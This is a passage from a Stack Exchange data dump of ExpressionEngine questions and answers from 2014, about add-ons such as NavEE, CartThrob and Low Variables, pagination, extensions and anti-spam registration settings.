  <row Id="22365" PostTypeId="1" AcceptedAnswerId="22366" CreationDate="2014-06-02T16:36:40.907" Score="0" ViewCount="77" Body="&lt;p&gt;Is there anything that already exists that allows an author to select a navigation that was built in NavEE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, if I have multiple navigational elements in NavEE and want to give the author an easy way to select which one they would like to include in the page, is there a fieldtype available to do that?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-06-02T17:25:51.830" Title="NavEE dropdown selector" Tags="|ee2|entry|navee|composer-template|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22366" PostTypeId="2" ParentId="22365" CreationDate="2014-06-02T17:25:51.830" Score="0" Body="&lt;p&gt;Have you checked out this &quot;NavEE Select&quot; addon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/navee-select&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/navee-select&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="390" LastActivityDate="2014-06-02T17:25:51.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22367" PostTypeId="1" AcceptedAnswerId="22523" CreationDate="2014-06-02T17:47:15.937" Score="0" ViewCount="105" Body="&lt;p&gt;I am looking for a way to check if certain products of a specific category are in cart and then based on that hide a specific payment method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found this &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1747/in-cartthrob-how-can-i-determine-whether-a-specific-product-is-in-cart-already&quot;&gt;thread&lt;/a&gt; which deals with basically the same problem but checks if a certain product is in cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to tackle this with a broader approach, thus aiming for categories since products can be added all the time.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-06-07T14:53:49.500" Title="Check if product(s) are in cart of a specific category" Tags="|cartthrob|conditionals|mightybigrobot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22368" PostTypeId="1" CreationDate="2014-06-02T17:56:39.030" Score="1" ViewCount="213" Body="&lt;p&gt;I'm building a slideshow using Grid and Low Variables. I have a checkbox to publish or hide the slide. What I can't figure out is how to get a count on the amount of items that are checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var=&quot;lv_homeslider&quot; sort=&quot;random&quot;}&#xA;    {lv_homeslider:checked}&#xA;{/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;total_rows returns 5, but I only have 2 checked. Any ideas how to get the number for rows where checked=true?&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2014-06-02T19:24:25.607" Title="Using Low Variables and Grid to return a count" Tags="|grid|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22369" PostTypeId="2" ParentId="22368" CreationDate="2014-06-02T19:24:25.607" Score="3" Body="&lt;p&gt;You can use the Search parameter to return only rows that have the checkbox cell checked.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var=&quot;lv_homeslider&quot; search:name_of_checkbox_cell=&quot;true&quot;}  &#xA;    {total_rows}&#xA;{/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;true&quot; should be the actual value that you entered under &quot;Multi-Select Options&quot; in the checkbox field/cell settings.&lt;/p&gt;&#xA;" OwnerUserId="390" LastActivityDate="2014-06-02T19:24:25.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22370" PostTypeId="1" CreationDate="2014-06-02T20:26:58.477" Score="2" ViewCount="150" Body="&lt;p&gt;Can 1 low variable be created and used across multiple sites. Or would you have to copy the instance for each site?&lt;/p&gt;&#xA;" OwnerUserId="2826" LastActivityDate="2014-06-03T07:15:32.740" Title="Can one low variable be used across multiple sites (using MSM)" Tags="|low-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22371" PostTypeId="1" CreationDate="2014-06-02T20:30:43.903" Score="0" ViewCount="269" Body="&lt;p&gt;I am trying to add pagination to the site. I am using structure (which I suspect is part of the problem). Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;blog&quot; cache=&quot;no&quot; dynamic=&quot;no&quot; orderby=&quot;published_date&quot; limit=&quot;5&quot; paginate=&quot;bottom&quot; paginate_base=&quot;blog/index&quot;}&#xA;&#xA; {!-- Other code here to display the entries. --}&#xA;&#xA; {paginate}&#xA;   {pagination_links}&#xA;     &amp;lt;ul class=&quot;inline&quot;&amp;gt;&#xA;       {previous_page}&#xA;         &amp;lt;li class=&quot;pull-left&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous bttn bttn-orange bttn-small&quot;&amp;gt; &amp;amp;#8249; Previous&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;       {/previous_page}&#xA;&#xA;       {next_page}&#xA;         &amp;lt;li class=&quot;pull-right&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next bttn bttn-orange bttn-small&quot;&amp;gt;Next Page &amp;amp;#8250;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;       {/next_page}&#xA;     &amp;lt;/ul&amp;gt;&#xA;   {/pagination_links}&#xA; {/paginate}&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The main problem is that something is overriding the paginate_base parameter and the value I am putting in there is getting ignored. The resulting links look like this:&lt;br /&gt;&#xA;&lt;a href=&quot;http://www.faketld.com/blog/P5&quot; rel=&quot;nofollow&quot;&gt;http://www.faketld.com/blog/P5&lt;/a&gt;&lt;br/&gt;&#xA;&lt;a href=&quot;http://www.faketld.com/blog/P10&quot; rel=&quot;nofollow&quot;&gt;http://www.faketld.com/blog/P10&lt;/a&gt;&lt;br /&gt;&#xA;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am expecting this to render links that look like this:&lt;br/&gt;&#xA;&lt;a href=&quot;http://www.faketld.com/blog/index/P5&quot; rel=&quot;nofollow&quot;&gt;http://www.faketld.com/blog/index/P5&lt;/a&gt;&lt;br/&gt;&#xA;&lt;a href=&quot;http://www.faketld.com/blog/index/P10&quot; rel=&quot;nofollow&quot;&gt;http://www.faketld.com/blog/index/P10&lt;/a&gt;&lt;br /&gt;&#xA;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The strange thing is that if I use any other value for paginate_base it works as expected. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;paginate_base=&quot;index/blog&quot; renders &lt;a href=&quot;http://www.faketld.com/index/blog/P5&quot; rel=&quot;nofollow&quot;&gt;http://www.faketld.com/index/blog/P5&lt;/a&gt;&lt;br /&gt;&#xA;paginate_base=&quot;/&quot; renders &lt;a href=&quot;http://www.faketld.com/P5&quot; rel=&quot;nofollow&quot;&gt;http://www.faketld.com/P5&lt;/a&gt;&lt;br /&gt;&#xA;paginate_base=&quot;peas/carrots&quot; renders &lt;a href=&quot;http://www.faketld.com/peas/carrots/P5&quot; rel=&quot;nofollow&quot;&gt;http://www.faketld.com/peas/carrots/P5&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oddly enough, it is specifically the one value I need to use that is overridden. Again, I have a feeling that Structure is causing this issue, but searching Google and this site haven't given me any solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried removing &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; but this seems to conflict with structure and   I get no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2327" LastActivityDate="2021-06-02T13:03:35.393" Title="What is causing the paginate_base parameter to be ignored?" Tags="|structure|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22372" PostTypeId="2" ParentId="22371" CreationDate="2014-06-02T20:53:36.507" Score="0" Body="&lt;p&gt;The index template of any template group does not typically show up when accessed this way in the url. So when the pagination base parameter is used with a template group's index template, it will automatically remove it the index part of the url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess it would also be helpful to know why you need the word index in the actual url (for pagination or any other reason) so another solution could be offered. There is probably another way to program your template to allow for pagination without the use of index. If there is not, I'm sorry but that is how expressionengine functions.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-06-02T20:53:36.507" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22373" PostTypeId="2" ParentId="21391" CreationDate="2014-06-02T22:28:38.097" Score="0" Body="&lt;p&gt;I figured this out. I simply removed the {if captcha} and {/if} and it showed up. I tested it on desktop and mobile. I also made sure I got an error if all the fields were not filled out. It was the one thing I didn't try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our form is creating an entry in a testimonials channel and then outputting on the testimonials page. I have no idea why the example from the EE User Guide did not work but if you ever find yourself in this same scenario try this and it may work :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/security/captchas.html&quot; rel=&quot;nofollow&quot;&gt;CAPTCHA DOCUMENTATION PAGE&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="2366" LastActivityDate="2014-06-02T22:28:38.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22374" PostTypeId="2" ParentId="22370" CreationDate="2014-06-02T22:45:38.397" Score="-2" Body="&lt;p&gt;I don't believe so. I think you'll have to create a new one on each site. &lt;/p&gt;&#xA;" OwnerUserId="3157" LastActivityDate="2014-06-02T22:45:38.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22375" PostTypeId="2" ParentId="22346" CreationDate="2014-06-02T23:19:10.053" Score="3" Body="&lt;p&gt;I was surprised to find that optimizing tables can help performance a lot, especially if you've got over ~ 75 queries on a page. Tools &gt; Data &gt; SQL Manager &gt; Manage Database Tables. Then Select All and Optimize Tables.&lt;/p&gt;&#xA;" OwnerUserId="489" LastEditorUserId="489" LastEditDate="2014-06-03T17:24:44.287" LastActivityDate="2014-06-03T17:24:44.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22376" PostTypeId="2" ParentId="22346" CreationDate="2014-06-02T23:26:09.760" Score="2" Body="&lt;p&gt;1) gzip output from EE will actually add slight overhead, better if you are on a virtual server to enable mod_deflate in apache, or use a hosting provider that offloads that to compression hardware to compress html, css, js. Much more optimal than having php do the compression. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Make sure you php 5.2, 5.3 or 5.4 you have something like APC bytecode caching enabled, or have php 5.5 which has its own bytecode caching will lower memory usage and increase performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Highly recommend not using EE's internal caching systems at all and use something like CE Cache which caches things in a much more optimal way.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-06-02T23:26:09.760" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22377" PostTypeId="1" AcceptedAnswerId="22410" CreationDate="2014-06-03T03:15:49.947" Score="2" ViewCount="86" Body="&lt;p&gt;I am seeing some info on CartThrob 2 Lite at &lt;a href=&quot;http://cartthrob.com/docs/docs_cartthrob-lite/&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/docs_cartthrob-lite/&lt;/a&gt;&#xA;but no pricing or info on how to obtain it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Anyone here have a pre-sale email address for the makers&#xA;MightyBigRobot?&#xA;(I am only seeing a phone number for purchased product support.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I presume it costs less, but the documentation makes me wonder&#xA;if it only can handle one single item being sold on a site.&#xA;Anyone know?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TMV&lt;/p&gt;&#xA;" OwnerUserId="3175" LastActivityDate="2014-06-12T08:03:45.293" Title="CartThrob 2 lite" Tags="|cartthrob|ecommerce|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22379" PostTypeId="2" ParentId="22370" CreationDate="2014-06-03T07:15:32.740" Score="2" Body="&lt;p&gt;You can, but you will have to use &lt;a href=&quot;http://gotolow.com/addons/low-variables/docs/tags#parse-tag&quot; rel=&quot;nofollow&quot;&gt;the Parse tag&lt;/a&gt; or one of its aliases:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single var=&quot;my_site:my_var&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-06-03T07:15:32.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22380" PostTypeId="1" AcceptedAnswerId="22381" CreationDate="2014-06-03T07:37:16.110" Score="3" ViewCount="106" Body="&lt;p&gt;I am very new to ExpressionEngine and don't quite fully understand all the concepts yet as I come from a solid OOP environment. When would you use functions in modules and when would you use functions in Extensions?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-03T08:04:14.057" Title="Modules vs Extensions" Tags="|ee2|module|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22381" PostTypeId="2" ParentId="22380" CreationDate="2014-06-03T08:04:14.057" Score="3" Body="&lt;p&gt;Extensions are used when you want to take over, modify, or perform extra routines when native first-party methods are executed. For example, performing extra actions after an entry is saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modules (and Plugins to an extent) are used when you want to make functionality (and therefore output) available in Templates via tags. Things that need to occur in a template, or add functionality that is explicitly outside of ExpressionEngine's native feature set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find an overview of the different types of add-ons for ExpressionEngine (including Extensions, Modules, Plugins, Fieldtypes, and more) as well as some sample code and walkthroughs in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/index.html&quot; rel=&quot;nofollow&quot;&gt;Add-on Development section&lt;/a&gt; of the User Guide.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-06-03T08:04:14.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22382" PostTypeId="2" ParentId="22356" CreationDate="2014-06-03T08:59:43.900" Score="0" Body="&lt;p&gt;Admin ‣ System Administration ‣ Output and Debugging ‣ Redirection Method ‣ Location (faster).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure why it defaults to the Windows option.&lt;/p&gt;&#xA;" OwnerUserId="2759" LastActivityDate="2014-06-03T08:59:43.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22383" PostTypeId="1" AcceptedAnswerId="22389" CreationDate="2014-06-03T09:02:00.637" Score="0" ViewCount="131" Body="&lt;p&gt;I am trying to learn how exactly hooks and extensions are used. I am using expresso-store and have a function I need to call when the order is complete and gets to the success page (on hook '&lt;em&gt;store_order_complete_end&lt;/em&gt;') and two other functions that I need to call on events, both on a button click. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could I include all three of these functions in one extension or does each function needs its own extension?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-03T13:06:16.857" Title="Structure of an Extension" Tags="|expresso-store|ee2|extension|hook|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22384" PostTypeId="2" ParentId="22377" CreationDate="2014-06-03T09:02:53.840" Score="0" Body="&lt;p&gt;I presume it was removed (temporarily?) as per this post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cartthrob.com/docs/docs_support/&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/docs_support/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This is a list of products that Mighty Big Robot has stopped offering for purchase. CartThrob Lite is &lt;em&gt;not&lt;/em&gt; in the list.)&lt;/p&gt;&#xA;" OwnerUserId="2759" LastEditorUserId="3175" LastEditDate="2014-06-08T01:09:55.890" LastActivityDate="2014-06-08T01:09:55.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22385" PostTypeId="2" ParentId="1476" CreationDate="2014-06-03T09:04:41.217" Score="0" Body="&lt;p&gt;This worked great for me:&lt;br&gt;&#xA;{exp:cartthrob:clear_cart}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just included it in the Add To Cart {embed} template, and that makes sure the cart is always empty before adding anything to it.&lt;/p&gt;&#xA;" OwnerUserId="3016" LastActivityDate="2014-06-03T09:04:41.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22387" PostTypeId="1" AcceptedAnswerId="22396" CreationDate="2014-06-03T10:35:38.517" Score="0" ViewCount="124" Body="&lt;p&gt;I'm trying to integrate &lt;a href=&quot;http://www.cometchat.com/expressionengine-chat&quot; rel=&quot;nofollow&quot;&gt;Comet Chat&lt;/a&gt; in my EE site. Whenever a message is sent in Comet Chat between two members of the site, I want that message to be stored in EE's native messaging system. Comet Chat is PHP based and resides on the same server as EE. In one of the hooks of Comet Chat, I have access to the sender's member id, receiver's member id, subject, message, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a way I can insert this into EE's messaging without having to run a SQL INSERT query&lt;/strong&gt; (I'm worried that such an approach might cause potential problems in case I miss something)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does anyone know of a Comet Chat-like system that I can use with EE?&lt;/li&gt;&#xA;&lt;li&gt;Can someone give me some tips on what tables/fields I need to deal with when doing an INSERT into EE's messaging DB?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-09-01T17:46:14.883" Title="Member Messaging" Tags="|messages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22388" PostTypeId="2" ParentId="22383" CreationDate="2014-06-03T11:15:07.373" Score="3" Body="&lt;p&gt;It depends on whether the events that trigger the functions trigger a hook. If a button click, form submission, page load etc triggers a hook, then an extension is the right place for your custom functionality. If no hook is triggered and you need to respond to arbitrary clicks or form submissions, then a module or plugin would be appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can react to any number of hooks in a single extension file and structure your code with as many public or private methods as you like in order to do so. Typically a single method will react to a single hook. However, after a hook has executed (or before), there's no way for other methods inside your extension file to get executed... they only exist in the context of the execution of a hook.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-06-03T11:15:07.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22389" PostTypeId="2" ParentId="22383" CreationDate="2014-06-03T13:06:16.857" Score="3" Body="&lt;p&gt;Extensions are for backend or server side stuff, whereas Modules can interact via the frontend or EE Control Panel. So an Extension captures a hook from another class, but can't capture a form submission or Ajax call from the frontend.  Whereas a Module can't tap into a hook.  But you can roll both an extension and a module into a single add-on (same name, shared folder, relevant separate files (ext.???, mod.???, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiple hooks in a single extension:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11684/multiple-hooks-one-extension&quot;&gt;Multiple Hooks, One Extension&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Module would be able to capture the events via ACTion URLs. Example install code (upd.module-name.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //###   Create ACTion IDs for the relevant functions   ###&#xA;    $formActions = array(&#xA;        &quot;form_submission&quot;,&#xA;        &quot;start_booking&quot;,&#xA;        &quot;payment_notification&quot;&#xA;    );&#xA;    foreach ($formActions as $method) {&#xA;        $data = array(&#xA;            'class' =&amp;gt; $this-&amp;gt;class,&#xA;            'method' =&amp;gt; $method&#xA;        );&#xA;        ee()-&amp;gt;db-&amp;gt;insert('actions', $data);&#xA;    }//###   End of foreach&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above example, my module has public functions for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;form_submission&lt;/li&gt;&#xA;&lt;li&gt;start_booking&lt;/li&gt;&#xA;&lt;li&gt;payment_notification&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To render out the Action URL in your module (e.g. passing the ACTion URL to your frontend form or button click):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $actionID = ee()-&amp;gt;functions-&amp;gt;fetch_action_id(__CLASS__, 'form_submission');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although in theory, if your events triggered other modules or core EE functionality, e.g. Freeform, member login, etc, then you could use other hooks to tap into the event. But from your question, I'm guessing you want custom events not related to existing EE functionality or other add-ons.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-06-03T13:06:16.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22391" PostTypeId="2" ParentId="22352" CreationDate="2014-06-03T13:51:05.947" Score="2" Body="&lt;p&gt;Did you also check CP Home &gt; Administration &gt; Categories &gt; Specific Category Group &gt; Edit Category Group?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are additional permissions settings there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Edit Categories &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Delete Categories   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also - are you sure you have assigned the category group to the channel, and also make sure you don't have a Publish Page Layout that is hiding the category options from non-superadmin users.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-06-03T13:51:05.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22392" PostTypeId="1" CreationDate="2014-06-03T14:05:03.093" Score="0" ViewCount="355" Body="&lt;p&gt;I try to implement ce cache so that everytime &lt;strong&gt;any&lt;/strong&gt; entry is updated/deleted/added the cache is rewritten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I read trough the documentation and diverse forum posts. But I don't get it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say I have a template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_cache:it id=&quot;news&quot; url_prefix=&quot;{language_code}&quot; tags=&quot;news&quot;&#xA;   {exp:channel:entries channel=&quot;news&quot;}&#xA;      {title}&#xA;   {/exp:channel:entries}&#xA;{/exp:ce_cache:it}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I added &lt;code&gt;tags=&quot;news&quot;&lt;/code&gt; like so: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j5gcO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I edit an new entry shouldn't it break the cache and show up the edited news entry? Well it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the file driver.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2014-06-03T14:05:03.093" Title="I don't understand CE Cache breaking" Tags="|ce-cache|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22393" PostTypeId="1" AcceptedAnswerId="22402" CreationDate="2014-06-03T14:09:55.003" Score="0" ViewCount="2252" Body="&lt;p&gt;I am new to ExpressionEngine2 and already working with it, but find the database structure very confusing coming from a pure OOP environment. What is an easy, fast way to actually find references or foreign keys / data that you are looking for?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-04T18:15:01.763" Title="Getting To Know The EE Database Structure" Tags="|ee2|mysql|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22394" PostTypeId="2" ParentId="22210" CreationDate="2014-06-03T15:20:37.870" Score="0" Body="&lt;p&gt;Have you tried using the Blacklist/Whitelist Module? It's helped me a LOT in the past and I would highly recommend it! It comes with ExpressionEngine and is located under Modules. All you need to do is to make sure that your .htaccess file is writable by the server and you can set it up. That might also help!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-06-03T15:20:37.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22396" PostTypeId="2" ParentId="22387" CreationDate="2014-06-03T15:38:31.670" Score="1" Body="&lt;p&gt;Unfortunately EE doesn't have a nice clean model for simply inserting a private message programatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were able to send your message data as a &lt;code&gt;POST&lt;/code&gt;, and it would be happening during the active user's session, then you could possibly use the &lt;code&gt;Messages&lt;/code&gt; library to do this, but it would also trigger any notifications for new message you have setup in EE, which you may not want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can explore further by looking at &lt;strong&gt;/expressionengine//libraries/Messages.php&lt;/strong&gt; - particularly the &lt;code&gt;send_message()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But doing a direct insert is probably best. Do some test messages using EE, then inspect the &lt;code&gt;exp_message_data&lt;/code&gt; and &lt;code&gt;exp_message_copies&lt;/code&gt; tables to see how things are inserted. You'll also want to keep the &lt;code&gt;private_messages&lt;/code&gt; column up-to-date in &lt;code&gt;exp_members&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-03T15:38:31.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22397" PostTypeId="1" AcceptedAnswerId="22398" CreationDate="2014-06-03T16:01:59.370" Score="1" ViewCount="39" Body="&lt;p&gt;I want to apply tax rule for canadian state in cartthrob . Can anyone guide me for that? Because the states/country dropdown has US states but not canadian states.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3131" LastActivityDate="2014-06-03T16:12:06.703" Title="Canadian taxes in cartThrob" Tags="|cartthrob|tax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22398" PostTypeId="2" ParentId="22397" CreationDate="2014-06-03T16:12:06.703" Score="1" Body="&lt;p&gt;You need to change up your &lt;code&gt;locales&lt;/code&gt; config.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you wish to modify the states and/or countries that are output, you can use your own custom list by renaming &lt;code&gt;system/expressionengine/third_party/cartthrob/config/_my_locales.php&lt;/code&gt; to &lt;code&gt;my_locales.php&lt;/code&gt; (remove the leading underscore) and editing that file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cartthrob.com/docs/pages/locales_config/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/pages/locales_config/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-03T16:12:06.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22399" PostTypeId="2" ParentId="21576" CreationDate="2014-06-03T16:22:42.953" Score="0" Body="&lt;p&gt;I have a similar requirement on a website (one image per entry and large number of uploads), I've tried several different solutions, including moving the galleries to a separate cms(koken), and here's my summary for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently there isn't a out-of-the-box solution for this type of gallery, unless you can somehow use the spreadsheet solution described above. Your solution is to choose either Assets or Channel Images(or other bulk uploader that I haven't tried) and write custom code that takes the uploaded photos and puts each one in its own entry. Then using Zenbu and Henshu you can do bulk cataloguing. There's a new version of Henshu in the oven that is perfect for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While choosing between uploaders you have to consider that some use GD library and others Image Magick, GD tends to screw up ICC profiles and that's why I looked for and external solution like Koken(and also for bulk cataloguing features), since then Channel Images started supporting Image Magick and with the new Henshu capable of the editing I need I'm moving back to a full EE gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="817" LastActivityDate="2014-06-03T16:22:42.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22400" PostTypeId="2" ParentId="22210" CreationDate="2014-06-03T16:33:10.517" Score="1" Body="&lt;p&gt;Here's what I've done to completely stop spam members from registering on my default EE member registration forms while still allowing those forms to be used without needing any add-ons.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure spam members are actually using the EE forms by adding a new member field that will be filled in with the current URL of the registration page. Hide it on the form &lt;code&gt;&amp;lt;input type=&quot;hidden&quot; value=&quot;{current_url}&quot; name=&quot;reg_url&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In config.php (or config.master.php for Focus Lab's config) add this: &lt;code&gt;$config['profile_trigger'] = date('YmW');&lt;/code&gt; - This makes the &quot;member&quot; segment of the profile URL a numeric value based on the &lt;strong&gt;Y&lt;/strong&gt;ear, &lt;strong&gt;m&lt;/strong&gt;onth, and &lt;strong&gt;W&lt;/strong&gt;eek. It will output like this -- 20140623 